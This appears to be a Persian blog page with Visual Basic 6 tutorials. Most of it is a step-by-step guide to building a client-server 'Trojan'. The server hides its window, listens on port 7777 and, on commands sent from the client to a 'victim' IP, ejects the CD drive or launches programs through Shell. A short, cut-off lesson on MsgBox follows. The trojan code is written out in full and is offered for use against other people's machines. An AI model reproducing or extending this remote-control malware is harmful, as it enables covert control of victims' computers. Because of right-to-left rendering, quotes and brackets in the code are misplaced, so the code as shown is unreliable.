برای ساخت برنامه Clint با زدن کلیدهای ترکیبی Ctrl + T یا با کلیک کردن گزینه Components از منوی Project جعبه گفتگوی انتخاب کنترل ها را باز کنید.سپس به دنبال Microsoft WinSock Control 0.6 بگردین و چک بوکس کنار اون رو فعال کنین تا کنترل Win Sock به جعبه ابزار شما اضافه بشه . شکل کنترل WinSock یه چیزی مثل ۲ تا کامپیوتر ه که با یک خط به هم متصل شدند.

با دوبار کلیک کردن روی کنترل WinSock  اون رو به فرمتون اضافه کنید.

۶ عدد دکمه فرمان (Command) به فرمتون اضافه کنین و بعد از اون ۱ عدد تکست بوکس (Text Box) دیگر به فرم اضافه کنین.

خاصیت کنترل ها به صورت زیر هست:

ردیف نام کنترل خصوصیت Caption
۱ Command1 Connect
2 Command2 !Open The CDRom
3 Command3 Close The CDRom
4 Command4 Run OSK
5 Command5 Run NotPad
6 Command6 Close Trojan

 

 

 

 

 

شما میتونید به سلیقه خودتون کنترل ها رو روی فرم قرار بدین.

نوشتن کد برنامه:

روی دکمه فرمان Connect دابل کلیک کنید تا روال مربوط به کلیک شدن دکمه فرمان Command1 با بشه سپس کدهای زیر رو بنویسید:

Private sub Command1_Click

WinSock1.Close

WinSock1.Connect Text1.Text , 7777

End Sub

در قطعه کد بالا کنترل WinSock از طریق Ip که در Text1 نوشته میشه با پورت ۷۷۷۷ به کامپیوتر قربانی متصل میشه.

در مرحله دوم روی دکمه فرمان Open CD Rom دوبار کلیک کنید.و بعد قطعه کد زیر را بنویسید:

Private Sub Command2_Click

Dim strData as String

"strData = "OPENCD

WinSock1.SendData   strData

End Sub

در قطعه کد بالا با فشرده شدن دکمه فرمان Open CDRom ابتدا یک متغیر از نوع رشته ای درست میشه و در خط بعد مقدار متغیر ما (OPEN) برابر با OPENCD میشه و بعد مقدار متغیر برای کامپیوتر قربانی فرستاده میشه.

مرحله سوم:روی دکمه فرمان Close CDRom دابل کیک کنید و سپس کدهای زیر را بنویسید:

Private Sub Command3_Click

 Dim strData as String

"strData = "CLOSECD

WinSock1.SendData  strData

End Sub

مرحله چهارم:روی دکمه فرمان Run OSK دابل کلیک کنید و سپس قطعه کد زیر رو بنویسید:

Private Sub Command4_Click

Dim strData as String

"strData = "RunWindowOSK

WinSock1.SendData  strData

End Sub

مرحله پنجم:روی دکمه فرمان Run Note Pad دابل کلید کنید و قطعه کد زیر رو بنویسید:

Private Sub Command5_Click

Dim strData as String

"strData = "RunWindowNotePad

winSock1.SendData  strData

End Sub

مرحله ششم: روی دکمه فرمان Close Trojan دوبار کلیک کنید و قطعه کد زیر رو بنویسید:

Private Sub Command6_Click

Dim strData as String

"strData = "CloseMe

WinSock1.SendData  strData

End Sub

مرحله ششم برای تروجان ما مرحله مهمی است که باعث میشه که اتصال رو با فرد قربانی قطع کنیم و به برنامه پایان دهیم.

مرحله  هفتم: روی کنترل WinSock خودتون دوبار کلیلک کنید و در روال رویداد Connect کنترل WinSock قطعه کدهای زیر رو بنویسید:

Private Sub WinSock1_Connect

"WinSock1.SendData "Trojan

End Sub

مرحله هشتم:حالا در روال رویداد DataArival کنترل WinSock قطعه کد زیر را بنویسید:

(Private Sub WinSock1_DataArival(Byval BytesTotal as Long

Dim  StrData as String

WinSock1.GetData StrData , vbString

End Sub

با قطعه کدهایی که در بالا نوشتیم تازه برنامه Clint رو ساختیم و تازه حدود ۳۰ درصد کارو انجام دادیم

برای ساختن کامل برنامه و همچنین ساخت برنامه Server باید کارهای زیر رو انجام بدهید تا ۷۰ درصد دیگه کار انجام بشه.

ابتدا یک پروژه دیگه از نوع Standard EXE باز کنید و یک کنترل WinSock به نام WinSock1 به فرم خودتون اضافه کنید.

حالا میریم سراغ API های ویندوز اگه جلسه قبل رو مطالعه کرده باشین با این تابع API آشنا هستید . کار این تابع اینه که باعث میشه در CDRom یا Writer باز و بسته بشه.

با بازکردن پنجر کد (پنجره ViewCode ) در قسمت General کدها قطعه کد زیر رو بنویسید:

Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (Byval lpstrCommand as String , Byval lpstrReturnString as String , Byval uReturnLength as Long , Byval hwndCallBack as Long) as Long

حالا برای اینکه سرور ما دستوراتی که از Clint میاد اجرا کنه ما برای اون دستورات چند تا تابع مینویسیم

در ابتدا تابع باز شدن در CDRom رامینویسیم . در قسمت General پنجره کد کدهای زیر را بنویسید:

Private Function EjectCD

mciSendString "Set CDAudio Door Open" , 0 , 0 , 0 

End Function

بعد از تابع بالا تابع بسته شدن درب CDRom رو مینویسیم:

Private Function CloseCD

mciSendString "Set CDAudio Door Closed" , 0 , 0 , 0

End Function

حالا از پنجره View Code خارج بشین و روی فرم خودتون دابل کلیک کنید و در روال رویدار Load فرم کدهای زیر رو بنویسید:

Private Sub Form1_Load

WinSock1.LocalPort = 7777

WinSock1.Listen

Form1.Hide

End Sub

در خط اول نوشتیم که کنترل WinSock فقط از طریق پورت ۷۷۷۷ ارتباط برقرار کند و در خط دوم به برنامه سرور دستور Listen (گوش دادن) به Clint داده شد و در خط سوم فرم سرور مخفی بشه.

حالا از پنجره ViewCode خارج بشین و در روال رویداد ConnectionRequest کنترل WinSock کدهای زیر رو بنویسید:

(Private Sub WinSock1_ConnectionRequest (ByVal RequestID as Long 

If WinSock1.State <> sckClosed then WinSock1.Close

WinSock1.Accept  RequestID

End Sub

خوبه خوبه تا فعلا ۸۵ درصد کارها رو انجام دادین برای تکمیل کارها در روال رویداد DataArival کنترل WinSock قطعه کد زیر رو بنویسید:

(Private Sub WinSock1_DataArival (ByVal bytesTotal as Long 

DoEvents

Dim strData as String

(Call WinSock1.GetData (strData$ , vbString

DoEvent

Select Case strData

"Case "CloseMe

Unload Me

"Case "OPENCD 

EjectCD

"Case "CLOSECD

CloseCD

"Case "RunWindowOSK

"shell "OSK.exe

"Case "RunWindowNotePad

"Shell "NotePad.exe

End Select

End Sub

خوب حالا میتونین یه نفس راحت بکشین چون که کار ما تموم شد برای تست کردن برنامه در کامپیوتر خودتون ابتدا هر دو برنامه که ساختین (Clint and Server) اجرا کنین بعد درداخل Text1 در برنامه Clint شماره ۱۲۷.۰.۰.۱ رو بنویسید و بعد دکمه Connect رو بزنین و بعد بازدن دکمه فرمان های OpenCDRom و CloseCDRom و غیره برنامتون رو تست کنید و کیف کنید ... 

+ نوشته شده در  یکشنبه بیست و پنجم فروردین 1387ساعت 10:22 بعد از ظهر  توسط مسعود لپه چی  | 

به نام خدا

 با عرض سلام خدمت شما !

 

جعبه پیام ها:

جعبه پیام ها در ویژوال بیسیک بسیار کاربرد دارند به طوری که تمامی برنامه هایی که شما در سیستم عاملتان از آن استفاده میکنید دارای جعبه پیام های متعددی هستند و باعث میشوند که برنامه با کاربر بیشتر ارتباط برقرار کند و باعث حرفه ای تر شدن برنامه ما شود.

در ویژوال بیسیک جعبه پیام ها به دو دسته تقسیم میشوند که عبارتند از:

۱- جعبه پیام هایی که فقط پیام را به کاربر نشان میدهند و یک فرمان از کاربر میگیرند.(MsgBox).

۲- جعبه پیام هایی که علاوه بر نشان دادن پیام یک رشته و یک فرمان از کاربر دریافت میکند.(InputBox).

1- MsgBox

MsgBox خود یک تابع است که یک جعبه پیام به کاربر نشان میدهد.شکل پایین.

                                                                                          

در شکل بالا شما مشاهده می کنید که جعبه پیام ما یک عنوان(Title) و یک آیکون و تعدادی دکمه فرمان است.

ساختار کلی تابع MsgBox به صورت زیر است.

 به این صورت: (MsgBox (Prompt,IntStyle,Title

که در شکل بالا Prompt همون جمله ای است که به پیام را میرساند.در شکل بالا(Do You WantTo Exit)

در تابع MsgBox ; دکمه فرمان ها آیکون جعبه پیام و تعداد دکمه فرمان ها توسط IntStyle مشخص میشود در زیر در مورد آرگومان IntStyle بیشتر صحبت میکنیم.

vbOkOnly                  دکمه OK

vbOKCancel              دکمه های OK و Cancel

vbAbortRetryIgnore   دکمه های Abort,Retry,Ignore

vbYesNoCancel         دکمه های Yes,No,Cancel

vbYesNo                   دکمه های Yes,No

vbRetryCancel           دکمه های Retry,Cancel

 

آیکون هایی که می توان استفاده کرد به شرح زیر است:

 

vbCritical               

vbQuestion            

vbExclamation       

vbInformation        

بین دکمه و ایکون باید علامت + بگذا